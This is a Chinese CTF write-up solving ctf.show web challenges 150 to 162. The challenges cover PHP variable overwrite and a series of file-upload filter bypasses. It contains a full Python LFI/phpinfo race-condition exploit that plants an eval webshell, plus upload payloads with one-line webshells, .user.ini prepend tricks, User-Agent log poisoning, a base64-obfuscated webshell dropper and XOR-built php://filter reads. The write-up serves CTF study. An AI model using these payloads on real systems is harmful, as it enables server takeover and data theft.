web150 plus 原始信息 include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE && strrpos ($ctf ,"log" )===FALSE ){ include ($ctf ); }
解题&官方WP 这次加盾有点严密,因为这其中有一部分是直接从配置文件当中修改的,限制了对 etc
目录的访问,限制了前一题的日志文件包含漏洞,导致整体思路无法单纯的靠后面的文件包含输出。
这里引用官方的思路,解析下class类:
class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } }
官方给出的信息如下:
这个题一点点小坑__autoload()函数不是类里面的 __autoload — 尝试加载未定义的类 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo 接下来就去getshell啦
从中我们得出了一个结论:
__autoload 资料原文如下 https: 在实际项目中,不可能把所有的类都写在一个 PHP 文件中, 当在一个 PHP 文件中需要调用另一个文件中声明的类时,就需要通过 include 把这个文件引入。 不过有的时候,在文件众多的项目中,要一一将所需类的文件都 include 进来, 一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。 我们能不能在用到什么类的时候,再把这个类所在的 php 文件导入呢? 为此,PHP 提供了 __autoload () 方法,它会在试图使用尚未被定义的类时自动调用。 通过调用此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 __autoload () 方法接收的一个参数,就是欲加载的类的类名, 所以这时候需要类名与文件名对应, 如 Person.php ,对应的类名就是 Pserson 。
变量解析漏洞:
真正的WP是这样的:
GET: ?..CTFSHOW..=phpinfo
相关链接以及exp:
https://juejin.cn/post/7016944635851309070
import sysimport threadingimport socketattempts_counter = 0 def setup (host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>' , shell_path='/tmp/g' ): """ 根据提供参数返回请求内容 :param host:HOST :param port:端口 :param phpinfo_path: phpinfo文件地址 :param lfi_path: 包含lfi的文件地址 :param lfi_param: lfi载入文件时, 指定文件名的参数 :param shell_code: shell代码 :param shell_path: shell代码保存位置 :return: phpinfo_request: phpinfo 请求内容 lfi_request: lfi 请求内容 tag: 标识内容 """ tag = 'Security Test' payload = \ '''{tag}\r <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r ''' .format (shell_code=shell_code, tag=tag, shell_path=shell_path) request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format (payload=payload) phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} ''' .format ( padding='A' * 4000 , phpinfo_path=phpinfo_path, request_data_length=len (request_data), host=host, port=port, request_data=request_data ) lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r ''' .format ( lfi_path=lfi_path, lfi_param=lfi_param, host=host ) return phpinfo_request, tag, lfi_request def phpinfo_lfi (host, port, phpinfo_request, offset, lfi_request, tag ): """ 通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行 :param host:HOST :param port:端口 :param phpinfo_request: phpinfo页面请求内容 :param offset: tmp_name在phpinfo中的偏移位 :param lfi_request: lfi页面请求内容 :param tag: 标识内容 :return: tmp_file_name: 临时文件名 """ phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo_socket.connect((host, port)) lfi_socket.connect((host, port)) phpinfo_socket.send(phpinfo_request.encode()) phpinfo_response_data = '' while len (phpinfo_response_data) < offset: phpinfo_response_data += phpinfo_socket.recv(offset).decode() try : tmp_name_index = phpinfo_response_data.index('[tmp_name] =>' ) tmp_file_name = phpinfo_response_data[ tmp_name_index + 17 : tmp_name_index + 31 ] except ValueError: return None lfi_socket.send((lfi_request.format (tmp_file_name)).encode()) lfi_response_data = lfi_socket.recv(4096 ).decode() phpinfo_socket.close() lfi_socket.close() if lfi_response_data.find(tag) != -1 : return tmp_file_name class ThreadWorker (threading.Thread): def __init__ (self, event, lock, max_attempts, host, port, phpinfo_request, offset, lfi_request, tag, shell_code, shell_path, lfi_path, lfi_param ): threading.Thread.__init__(self) self.event = event self.lock = lock self.max_attempts = max_attempts self.host = host self.port = port self.phpinfo_request = phpinfo_request self.offset = offset self.lfi_request = lfi_request self.tag = tag self.shell_code = shell_code self.shell_path = shell_path self.lfi_path = lfi_path self.lfi_param = lfi_param def run (self ): global attempts_counter while not self.event.is_set(): with self.lock: if attempts_counter >= self.max_attempts: return attempts_counter += 1 try : tmp_file_name = phpinfo_lfi( self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag) if self.event.is_set(): break if tmp_file_name: print ('\n{shell_code} 已经被写入到{shell_path}中' .format ( shell_code=self.shell_code, shell_path=self.shell_path )) 'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a' print ('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a' .format ( host=self.host, port=self.port, lfi_path=self.lfi_path, lfi_param=self.lfi_param, shell_path=self.shell_path )) self.event.set () except socket.error: return def get_offset (host, port, phpinfo_request ): """ 获取tmp_name在phpinfo中的偏移量 :param host: HOST :param port: 端口 :param phpinfo_request: phpinfo 请求内容 :return: tmp_name在phpinfo中的偏移量 """ phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo_socket.connect((host, port)) phpinfo_socket.send(phpinfo_request.encode()) phpinfo_response_data = '' while True : i = phpinfo_socket.recv(4096 ).decode() phpinfo_response_data += i if i == '' : break if i.endswith('0\r\n\r\n' ): break phpinfo_socket.close() tmp_name_index = phpinfo_response_data.find('[tmp_name] =>' ) print (phpinfo_response_data) if tmp_name_index == -1 : raise ValueError('没有在phpinfo中找到tmp_name' ) print ('找到了 {} 在phpinfo内容索引为{}的位置' .format ( phpinfo_response_data[tmp_name_index:tmp_name_index+10 ], tmp_name_index)) return tmp_name_index + 256 def main (): pool_size = 100 host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show' port = 8080 phpinfo_path = '/' lfi_path = '/' lfi_param = 'isVIP=1' shell_code = '<?php eval($_POST["mb"]);?>' shell_path = '/tmp/g' max_attempts = 1000 print ('LFI With PHPInfo()' ) phpinfo_request, tag, lfi_request = setup( host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path, lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path) offset = get_offset(host, port, phpinfo_request) sys.stdout.flush() thread_event = threading.Event() thread_lock = threading.Lock() print ('创建线程池 {}...' .format (pool_size)) sys.stdout.flush() thread_pool = [] for i in range (0 , pool_size): thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts, host, port, phpinfo_request, offset, lfi_request, tag, shell_code, shell_path, lfi_path, lfi_param )) for t in thread_pool: t.start() try : while not thread_event.wait(1 ): if thread_event.is_set(): break with thread_lock: sys.stdout.write('\r{} / {}' .format (attempts_counter, max_attempts)) sys.stdout.flush() if attempts_counter >= max_attempts: break if thread_event.is_set(): print ('''success !''' ) else : print ('LJBD!' ) except KeyboardInterrupt: print ('\n正在停止所有线程...' ) thread_event.set () for t in thread_pool: t.join() if __name__ == "__main__" : main()
文件上传 151 后端无验证 152 后端文件类型验证 153 配置文件可控 154 文件魔术字节欺骗 155 配置文件可控 156 文件内容检测[],可用{}绕过 157 脚本的最后一个分号可以省略 158 日志包含 159 突破日志包含检测 160 日志包含突破空格检测 161 gif89a?绕过get_imagesize判断 162 include URL文件包含 163 .user.ini 配置文件远程文件包含(指远程http的包含) 164 png二次渲染绕过(png文件内容被包含到php文件中进行展出)
web151 原始信息 提示词:前台校验不可靠
html关键代码:
<div class ="layui-col-md12" > <button type ="button" class ="layui-btn" id ="upload" lay-data ="{url: 'upload.php', accept: 'images',exts:'png'}" > <i class ="layui-icon" >  </i > 上传图片 </button > </div >
js代码:
layui.use ('upload' , function ( ){ var upload = layui.upload ; var uploadInst = upload.render ({ elem : '#upload' ,url : '/upload/' ,done : function (res ){ if (res.code ==0 ){ $("#result" ).html ("文件上传成功,路径:" +res.msg ); }else { $("#result" ).html ("文件上传失败,失败原因:" +res.msg ); } } ,error : function ( ){ $("#result" ).html ("文件上传失败" ); } }); });
解题 提取的信息有:
上传到文件: upload.php 前台的png校验
使用BP抓包改包即可,改写的那部分内容如下:
-----------------------------3533995436951902473886677854 Content-Disposition: form-data; name="file" ; filename="logo.php" Content-Type: image/png GIF89 <?= eval ($_POST [1 ])?> -----------------------------3533995436951902473886677854 --
然后使用一句话木马翻目录查flag即可:
POST: 1=show_source('../flag.php' );
后面找到的源代码如下:
upload.php
if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); } } echo json_encode ($ret );
大小限制,让后就没限制了。
web 152 原始信息 改了提示:后端校验要严密
表示后端审查开始严密了,但是前端审查延续上一道题。
解题 继续延续上一题的wp,依然没什么变化。下面是upload处理的后端源码:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
限制大小,限制类型为png,然后就没限制了。
web153 原始信息 提示信息:后端不能单一校验
然后就没有然后了。
解题 使用的配置文件上传的文件解析漏洞,利用的是nginx出现的配置文件漏洞。
第一次上传文件的:
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a auto_prepend_file=a.png
第二次上传文件的内容:
Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89a <?=eval($_POST[a])?>
然后一句话木马拿下flag即可。
这个文件嵌入的方法能在这个配置文件下主动创建 index.php
文件,导致出现文件包含漏洞。
下面的是上传文件处理的源码:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret ); nothing here
限制了文件大小 1024k
,文件类型必须是 png
,文件后缀不能为 php
.
web154 原始信息 提示信息:后端校验要严密,后端不能单二校验
解题 和上面153一样,wp没有变化,照着操作直接出flag即可。
下面是upload源码:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (strrpos ($content , "php" )==FALSE ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>3 ,"msg" =>"文件内容不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
限制类型,限制大小,限制后缀不能写死为 php
限制文件内容不能出现 php
,然后就没了。
web155 原始信息 提示文本:后端不能单三校验,后端校验要严密
解题 和上面情况一样,wp没变化。
下面是upload文件的内容
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret ); nothing here
限制了文件大小,文件类型,文件文件后缀和内容不能有 php
, 细微上的修改为 strrpos(查最后一次出现的位置)
被改写为 stripos(查第一次出现的位置)
,后面怎么转存文件的操作都是不变的。
web156 原始信息 文本提示:后端不能单四校验
然后和上面一样,一个文件上传的窗口。
解题 这次限制的稍微严格了一些,还是和前面一样先上传php文件
第一次上传文件的:
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a auto_prepend_file=a.png
第二次上传文件的内容:
Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89a <?=eval(system('cat ../fl*'))?>
这时候突发奇想,要不给它搞个一句话木马上去?虽然很多东西被锁死了,但可以写免杀啊!或者绕过这个文件夹另外创一个木马。
突发奇想的WP 第一次上传文件的:
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a auto_prepend_file=a.png
第二次上传文件的内容:
Content-Disposition: form-data; name="file"; filename="ctf.png" Content-Type: image/png GIF89? <?= $ b=base64_decode('Li4veC5waHA=' ); $ a=base64_decode('PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=' ); file_put_contents($ b,$a ); ?>
其中的两个base分别是文件名和文件内容,也就是木马的内容。具体看下面:
$ php -r "echo base64_encode('../x.php');" Li4veC5waHA= $ php -r "echo base64_encode('<?php eval($_POST [" a"]);?>');" PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=
下面的就是直接访问 x.php
进行一句话木马的 getshell
操作啦~
POST: a=system('ls'); return: flag.php images index.php js layui upload upload.php x.php POST: a=show_source('flag.php'); return: 返回flag的内容。
upload文件的内容: error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && stripos ($content ,"[" )===FALSE ){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } echo json_encode ($ret );
文件大小,类型,后缀,内容,方括号限制。
web157 原始信息 提示信息:后端不能单五校验
看来只能说越来越严格了。心中只有一个想法:逃逸。
解题 解题的方式和上面一样,使用.user.ini的漏洞点即可:
.user.ini
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a auto_prepend_file=a.png
a.png
Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89a <?=eval(system('cat ../fl*'))?>
下面是upload文件的内容:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content )){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;/i' , $str ); } echo json_encode ($ret );echo json_encode ($ret );
web158 原始信息 提示文本:后端不能单六校验
解题 解题的wp和上一题相同,故这里只展示upload文件内容:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content )){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log/i' , $str ); } echo json_encode ($ret );echo json_encode ($ret );
web159 原始信息 提示文本:师傅们可以的。
解题 和上面差不多,只不过图片那里得稍微修改一下。
上传配置文件:.user.ini
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89 auto_prepend_file=a.png
上传图片文件/木马文件:
Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89 <?=`cat ../f*`?>
下面是upload文件内容:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content )){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log|\(/i' , $str ); } echo json_encode ($ret );
web160 原始信息 提供的信息:师傅们可以的
其它前端还是没变化。
解题 这道题限制的符号明显增多了不少,这次试验的是使用日志文件包含进行绕过.
想要绕过的办法是这样子的:使用配置文件.user.ini上传入服务端,再传入图片a作为包含文件包含日志文件,最后从UA头写php代码读取文件目录并且展出文件即可。
试验过使用 <?=eval($_POST[x])?>
进行日志文件的包含,但是死活不成功,原因不详。
具体方法如下:
a.png的内容: -----------------------------423079147019571131243490681925 Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89? <?=include"/va"."r/l"."og/ngi"."nx/ac"."cess.l"."og"?> -----------------------------423079147019571131243490681925-- .user.ini的内容 Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89? auto_prepend_file=a.png 再次访问UA的时候: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0<?=var_dump(system('ls ../'));?> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0<?=var_dump(system('cat ../flag.php'));?>
说实在,这次测试删了很多次环境,有点乱。下面是源代码:
upload.php
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content )){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log|\(| |\`/i' , $str ); } echo json_encode ($ret );
web161 原始信息 提示信息:狮虎们轻点,嘤嘤嘤
az……
解题 流程其实和上面大差不差:
上传 a.png
Content-Disposition: form-data; name="file"; filename="a.png" Content-Type: image/png GIF89? <?=include"/va"."r/l"."og/ngi"."nx/ac"."cess.l"."og"?>
上传 user.ini
Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89? auto_prepend_file=a.png
访问upload文件夹并且利用即可:
GET: /upload/ POST: 1=system('cat ../flag.php');
这题的 upload.php
文件内容如下:
error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ){ $ret = array ("code" =>2 ,"msg" =>$_FILES ["file" ]["error" ]); } else { $filename = $_FILES ["file" ]["name" ]; $filesize = ($_FILES ["file" ]["size" ] / 1024 ); if ($filesize >1024 ){ $ret = array ("code" =>1 ,"msg" =>"文件超过1024KB" ); }else { if ($_FILES ['file' ]['type' ] == 'image/png' ){ $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($ext_suffix !='php' ){ $content = file_get_contents ($_FILES ["file" ]["tmp_name" ]); if (stripos ($content , "php" )===FALSE && check ($content ) && getimagesize ($_FILES ["file" ]["tmp_name" ])){ move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" .$_FILES ["file" ]["name" ]); $ret = array ("code" =>0 ,"msg" =>"upload/" .$_FILES ["file" ]["name" ]); }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } }else { $ret = array ("code" =>2 ,"msg" =>"文件类型不合规" ); } } } function check ($str ) { return !preg_match ('/php|\{|\[|\;|log|\(| |\`/i' , $str ); } echo json_encode ($ret );
web162–打个点,有很多解决办法 原始信息 提示:姿势挺多的啊?啊?
嘶……这是难度要飙升的感觉……
解题–伪协议(个人的思路) 限制级别提升,无法直接使用点点进行拼接字符串和拼接文件后缀。
刚撞的南墙:包含错误日志无法包含上,插入一句话木马失效(是笔者姿势不够骚)
目前来看仅存黑名单过滤,没过多的限制字符,暂时能进行各种操作。
就笔者目前的水平,第一个想到的是文件包含执行,使用其他文件替代日志文件进行包含,再使用日志文件进行一句话木马的getshell。很遗憾,失败了好几次。
头一次遇到这种有些别扭和拐弯的题目,笔者使用的是 .user.ini + f
两个文件进行伪协议包含文件内容的方式获取flag。
被迫换了个思路:使用伪协议进行flag文件内容的获取。
步骤1 上传.user.ini文件 老生常谈的感觉,上传文件的数据包贴这里了。
POST /upload.php HTTP/1.1 Host: 0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------300581395340124539282439604028 Content-Length: 633 Origin: http://0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show Connection: close Referer: http://0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show/ -----------------------------300581395340124539282439604028 Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89? auto_prepend_file=f -----------------------------300581395340124539282439604028--
包含了一个名字为 f
的文件,把 f
包含到 index.php
当中并且解析为 php
.
步骤2 上传f文件进行包含 完整WP 上传文件的整体内如截数据包表单部分,放这了:
-----------------------------300581395340124539282439604028 Content-Disposition: form-data; name="file" ; filename="f" Content-Type: image/png GIF89? <?= $b ='A' ^'o' ?> <?= $eeea ='ph' ?> <?= $eeeb ='p' ?> <?= $eee ="$eeea $eeeb " ?> <?= $fffa ='fla' ?> <?= $fffb ='g' ?> <?= $fff ="$fffa $fffb $b $eee " ?> <?= $ggga =':' ?> <?= $aaa ="$eee $ggga //filter/read=convert" ?> <?= $ccc ="base64-encode/resource=$b $b /$fff " ?> <?= $xxxx ="$aaa $b $ccc " ?> <?= include "$xxxx " ?> -----------------------------300581395340124539282439604028 --
详细解析如下:
拼接字符串 php和. 这次使用异或进行限制字符的获取和拼接,保证整个字符串的完整性。
这里使用 cmd-php
获取我们想要的 .
的异或内容:
$ php -r "echo 'A'^'o';" .
在 php
文件当中拼接处字符串:
<?= $b ='A' ^'o' ?> <?= $eeea ='ph' ?> <?= $eeeb ='p' ?> <?= $eee ="$eeea $eeeb " ?>
拼接flag.php 这个基本就靠前面累起来了。.php
这个字符的拼接依赖的是前面的拼接,flag这个字符串的拼接就纯手拼。
?=$fffa ='fla' ?> <?= $fffb ='g' ?> <?= $fff ="$fffa $fffb $b $eee " ?>
拼接伪协议部分和开始文件包含 这里使用的是伪协议 php://filter
,能以 base64
的方式获取文件内容。
